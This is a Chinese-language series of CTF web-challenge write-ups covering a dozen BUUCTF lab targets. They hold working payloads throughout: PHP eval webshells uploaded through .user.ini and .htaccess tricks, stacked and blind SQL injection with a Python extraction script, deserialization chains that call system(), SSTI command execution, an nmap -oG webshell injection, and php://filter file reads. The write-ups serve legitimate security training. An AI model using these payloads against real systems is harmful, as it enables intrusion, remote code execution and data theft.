1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 I put something in F12 for you include 'flag.php'; $flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}'; if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo 'You got the first step'; if(isset($_POST['passwd'])) { $passwd=$_POST['passwd']; if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); } else { echo "can you think twice??"; } } else{ echo 'You can not get it !'; } } else{ die('only one way to get the flag'); } } else { echo "You are not a real hacker!"; } } else{ die('Please input first'); } }Please input first
isset()
1 isset($_GET['gg'])&&isset($_GET['id']
get 传入两个参数 gg 和 id
2. md5 碰撞和 php 强类型比较
数组绕过
1 md5($id) === md5($gg) && $id !== $gg
id[]=1&gg[]=2
3. isset()
post 传参 passwd
4. is_numeric()
检查传入的参数是否为数字,是的话返回 true
1 2 3 4 5 6 7 8 if (!is_numeric($passwd)) { if($passwd==1234567) { echo 'Good Job!'; highlight_file('flag.php'); die('By Retr_0'); }
php 弱类型比较
综述满足上述俩条件可以 post 传参 passwd=1234567a
ps:hackbar 真是一个好东西!
[SUCTF 2019]CheckIn
文件上传漏洞
官方给了提示.user.ini
1 2 GIF89a auto_prepend_file=123.png
抓包修改
Content-Type: image/png
1 2 GIF89a <script language="php">@eval($_POST['123']);</script>
[网鼎杯 2020 青龙组](AreUSerialz)
php 反序列化漏洞
代码审计,构造 poc 链,一举拿下!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); } }
FileHandler 类有 3 个 protected 属性的变量,有两个魔术方法。分别再创建对象和销毁对象时调用
get 接收 str 参数,is_valid () 函数中要求接收的 ascii 码在 32-125 之间(原因:protected 属性序列化会出现 %00*%00
, 其中 % 符号的 ascii 不满足 32-125)
绕过:php7.1 以上的版本对属性类型不敏感,所以可以将属性改为 public,public 属性序列化不会出现不可见字符
构造链子:
1 __construct()--->process()--->read()-->__destruct()
链子具体分析
__construct()
op,filename,content 没赋值就会被赋予函数中的值,可以根据后面函数要求具体赋值
process()
this->op == "2"
弱类型比较,可以让 op=2
read()
获取 filename 的文件内容,所以可以让 filename="flag.php"
或者使用 php 伪协议
1 filename="php://filter/read=convert.base64-encode/resource=flag.php"
__destruct()
$this->op === "2"
php 强类型比较,如果为字符串类型的 2 就会让 op=1, 之后执行 process () 函数会进入 write 方法,显然这样我们就不能输出 res
操作
1 2 3 4 5 6 7 8 9 10 11 <?php class FileHandler { public $op = 2; public $filename = "flag.php"; public $content; } $a = new FileHandler(); $b = serialize($a); echo $b ?>
得到
1 O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
1 ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
f12 在注释成功拿取 flag
[GXYCTF2019]BabyUpload
文件上传漏洞
点进去 Github 看到 exp 中有.htaccess
,htaccess
1 2 3 <FilesMatch "123"> SetHandler application/x-httpd-php </FilesMatch>
Content-Type 修改为 image/jpeg,png 不行
2. 123
1 <script language="php">eval($_POST['mochu7']);</script>
后缀名不行
1 2 3 <FilesMatch "123"> AddType application/x-httpd-php .mochu </FilesMatch>
123.mochu
1 <script language="php">eval($_POST['mochu7']);</script>
使用 hackerbar
mochu7=show_source(’/flag’)
源代码就有 flag
感觉应该收集积累一些 phpinfo 查看信息,还有 php 查看文件内容的函数
[GYCTF2020]Blacklist
输入 1
1 2 3 4 5 6 array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" }
输入 1’
1 error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
ok, 存在 SQL 注入,应该是字符型报错注入
3. 1’ or 1 = 1#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(2) { [0]=> string(1) "2" [1]=> string(12) "miaomiaomiao" } array(2) { [0]=> string(6) "114514" [1]=> string(2) "ys" }
显然不是我们想要的,报错注入语句来一下
4. 1’ and updatexml (1,concat (0x7e,(select database ()),0x7e),1) #
1 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
应该是对上面这些关键字做了过滤,select 绕过
我尝试了双写,大小写混杂,注释符绕过都不行,看来不能运用含有 select 的注入语句
5. 1’ and extractvalue (1,concat (0x7e,database (),0x7e)) #
1 error 1105 : XPATH syntax error: '~supersqli~'
也没发现想要的 flag 痕迹,想一想还有什么注入,堆叠注入?试一试
6. 堆叠注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(11) "ctftraining" } array(1) { [0]=> string(18) "information_schema" } array(1) { [0]=> string(5) "mysql" } array(1) { [0]=> string(18) "performance_schema" } array(1) { [0]=> string(9) "supersqli" } array(1) { [0]=> string(4) "test" }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(1) { [0]=> string(8) "FlagHere" } array(1) { [0]=> string(5) "words" }
发现可疑表 FlagHere
1’;show columns from FlagHere;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" } array(6) { [0]=> string(4) "flag" [1]=> string(12) "varchar(100)" [2]=> string(2) "NO" [3]=> string(0) "" [4]=> NULL [5]=> string(0) "" }
可疑字段 flag,但是不能用 select 我不能获取里面的内容,查阅 wp, 发现一个新用法 HANDLER … OPEN
1 2 3 HANDLER … OPEN语句打开一个表 HANDLER … READ语句访问 HANDLER … CLOSE关闭一个表
1 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
得到 flag
[CISCN2019 华北赛区 Day2 Web1] Hack World
点开靶机进去,页面告诉我们 table 和 column 都是 flag
Now, just give the id of passage
浅浅怀疑是 sql 注入,id 应该是个参数
get or post?
抓包发现是 post 型
确定注入类型
输入 1
1 Hello, glzjin wants a girlfriend.
输入 f
应该是布尔盲注了
3. get flag
布尔盲注手工肯定不现实啦
那就浅浅写个脚本跑一跑嘛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests import re if __name__ == '__main__': url = 'http://a97966da-4466-48d1-b5fc-abb1a493628f.node4.buuoj.cn:81/index.php' flag ='' for i in range(1,50): for j in range(32,140): payload = 'if((ascii(substr((select(flag)from(flag)),{},1))={}),1,0)'.format(i,j) data = { "id": payload } res = requests.post(url=url, data=data) if'Hello, glzjin wants a girlfriend' in res.text: flag = flag + chr(j) print(flag) break
ok, 成功拿取 flag
[网鼎杯 2018] Fakebook
注册
注意这里的 blog 网址需要符合网址地址,可以随便来一个网址上去注册。
sql 注入
在 url 处发现 no 可以进行联合注入。
1 2 ?no=0 order by 4# ?no=0 order by 5#
显位
发现 union select 连着会出问题,在中间使用内联注释可绕过
1 ?no=0 union/**/select 1,2,3,4#
暴库
其实应该还判断一下数据库类型和版本的,但是一般都是 mysql5.0 以上,就偷懒没判断。
1 ?no=0 union/**/select 1,group_concat(schema_name),3,4 from information_schema.schemata#
fakebook,information_schema,mysql,performance_schema,test
1 ?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'#
users
1 ?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
1 ?no=0 union/**/select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from fakebook.users#
1admin d7dee61380e1f1d4fc0acb50258a1cb67e6a02506162e5688cea020c78437b8b550721c41c6794e3b6a72340d2554929a1f82aeb875f1e5f44aa18d3b1a0ef61~O:8:“UserInfo”:3:
发现 data 字段值进行了序列化
sql 注入结合反序列化获取 flag.php 中的 flag 值
使用 dirseach 目录扫描工具发现存在 flag.php 文件
根据 data 数据得到序列化的变量有三个 name、 age、blog
unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php
根据前面暴值的报错信息,猜测 flag.php 的路径也在 /var/www/html 下
使用 file:// 协议进行读取
构造 poc
1 2 3 4 5 6 7 8 9 10 11 <?php class UserInfo { public $name = "admin"; public $age = 18; public $blog = "file:///var/www/html/flag.php"; } $a = new UserInfo(); echo serialize($a); ?>
1 O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
payload:
1 ?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
get flag
查看源代码得
1 data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3s2YmFmODM3ZC1hZjhiLTQyOGMtOTUwMi1lNGU2ODA3NjY0MjV9IjsNCmV4aXQoMCk7DQo=
base64 解码
[RoarCTF 2019]Easy Java
反编译得到源码
WEB-INF/web.xml 文件信息泄露,可以运用在线 Java 反编译得到源码
http://www.javare.cn/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.io.IOException; import java.io.PrintWriter; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet( name = "FlagController" ) public class FlagController extends HttpServlet { String flag = "ZmxhZ3tiN2M4MTkyNC04YWJmLTRlYTEtYjJjMC03NDQ3MzE0NTBhOWN9Cg=="; protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException { PrintWriter var3 = var2.getWriter(); var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>"); } }
base64 解码即可得到 flag
[BJDCTF2020]The mystery of ip
分析 ip 回显原因
猜测是根据 x-froward-for 得到
抓包增加 x-froward-for 参数并且将值改为 127.0.0.1,放包查看
ip 变为 127.0.0.1
测试 SSTI 模板注入
将 x-froward-for 的值设为2得到 2
存在模板注入
模板注入,命令执行
1 2 3 * {{system('ls')}} * {{system('ls /')}} * {{system('cat /flag')}}
[网鼎杯 2020 朱雀组] phpweb
吐槽一下,打开是一张不太好看的图片。。。
抓包分析
得到 Post 传参这俩
func=date&p=Y-m-d+h%3Ai%3As+a
date 应该是个函数
把 date 修改成 read 试一试?
警告:
call_user_func() expects parameter 1 to be a valid callback, function ‘read’ not found or invalid function name in
感觉应该是调用自定义函数,然后参数不对
那么 func 应该是函数,p 应该是函数里要传的参数值
传参分析
func=file_get_contents&p=index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"); function gettime($func, $p) { $result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") { return $result; } else {return "";} } class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>
分析 php 代码
过滤了一大堆函数
1 2 3 4 5 6 7 8 9 class Test { var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } }
看到这个不自然想到反序列化
unserialize 函数没有被过滤,尝试序列化查看一下文件目录
构造序列化 poc
1 2 3 4 5 6 7 8 9 10 11 class Test { var $p = "ls"; var $func = "system"; function __destruct() { if ($this->func != "") { echo gettime($this->func, $this->p); } } } $a = new Test(); echo serialize($a);
O:4:“Test”:2:{s:1:“p”;s:2:“ls”;s:4:“func”;s:6:“system”;}
func=unserialize&p=O:4:“Test”:2:{s:1:“p”;s:2:“ls”;s:4:“func”;s:6:“system”;}
回显没有看到 flag 文件相关信息,显示出一些无关文件,换个思路,查看命名为 flag 的文件位置
查看命名为 flag 的文件位置
1 O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
1 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
排同查异
应该是 /tmp/flagoefiu4r93
读取文件
1 func=readfile&p=/tmp/flagoefiu4r93
得到 flag
[BUUCTF 2018]Online Tool
php 代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
REMOTE_ADDR 和 HTTP_X_FORWARDED_FOR 都是和 IP 有关的内容,应该是获取相关 IP
get 接收 host 参数进行单引号转义拼接 escapeshellarg () 和转义 escapeshellcmd () 操作,最后执行 nmap 命令
漏洞利用
escapeshellarg 的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
scapeshellcmd () 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义,反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。
1 2 $host = escapeshellarg($host); $host = escapeshellcmd($host);
这个代码的逻辑顺序会导致
绕过引号,从而执行命令
webshell
nmap 命令中 有一个参数 - oG 可以实现将命令和结果写到文件
1 ?host=' <?php @eval($_POST["1"];?> -oG 1.php '
1 ?host=\' <?php @eval($_POST["1"];?> -oG 1.php \'
1 ?host=''\'' <?php @eval($_POST["1"];?> -oG 1.php '\'''
1 ?host=''\\'' \<\?php @eval($_POST\["1"\]\;\?\> -oG 1.php '\\'''
1 ?host=\ <?php @eval($_POST["1"];?> -oG 1.php \\
蚁剑连接后门
http://e4354b5c-cacc-40bd-b6c6-648a95cbf1c6.node4.buuoj.cn:81/17cace8e02640f8f3af0fb38005c3b0e/1.php
找到 flag 文件即可得到 flag
[BSidesCF 2020]Had a bad day
发现只有一个参数可以操作,并且该参数只能传递两个数值
1 http://d3d9ce33-6d8c-4906-b14a-c149e86c709d.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index.php
读取 index.php 文件试一试
1 Warning: include(php://filter/read=convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37
看着报错信息应该是 php 多了
1 http://d3d9ce33-6d8c-4906-b14a-c149e86c709d.node4.buuoj.cn:81/index.php?category=php://filter/read=convert.base64-encode/resource=index
base64 解码后,得到一段 php 代码
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
php 代码审计
strpos () 函数查找字符串在另一字符串中第一次出现的位置。
所以和上面猜想一致,参数值必须得有 woofers 或者 meowers
查看资料说 php 伪协议可以套协议
那就如下构造读取 flag.php 试一试
1 category=php://filter/convert.base64-encode/woofers/resource=flag
base64 解码即可得到 flag
[GXYCTF2019] 禁止套娃
.git 信息泄露
查阅该文章得知开发者不慎上传.git 文件会导致源码泄露
原理大概也就是会存留一些 hash 后的 id 可以套娃寻找,这也验证了该题的题目,禁止套娃
ps:该文章话糙理不糙
https://www.freebuf.com/articles/web/267597.html
使用工具 GitHack 获取泄露源码文件
1 python GitHack.py http://0ddab4a0-a87a-460f-9846-6560a649bad3.node4.buuoj.cn:81/.git/
php 代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
过滤了一些伪协议
?R 递归校验,进行函数无参构造检验
屏蔽一些关键字,使用的一些函数就不能含有上述关键字
函数构造
1 ?exp=print_r(scandir(current(localeconv())));
得到 flag.php 在数组到倒数第二位,所以我们只需要读取倒数第二个文件即可
1 ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
逆序的下一个就是倒数第二个
看到还有博主使用随机读取,这样的话得随机几次,看运气 、
[BJDCTF2020] ZJCTF,不过如此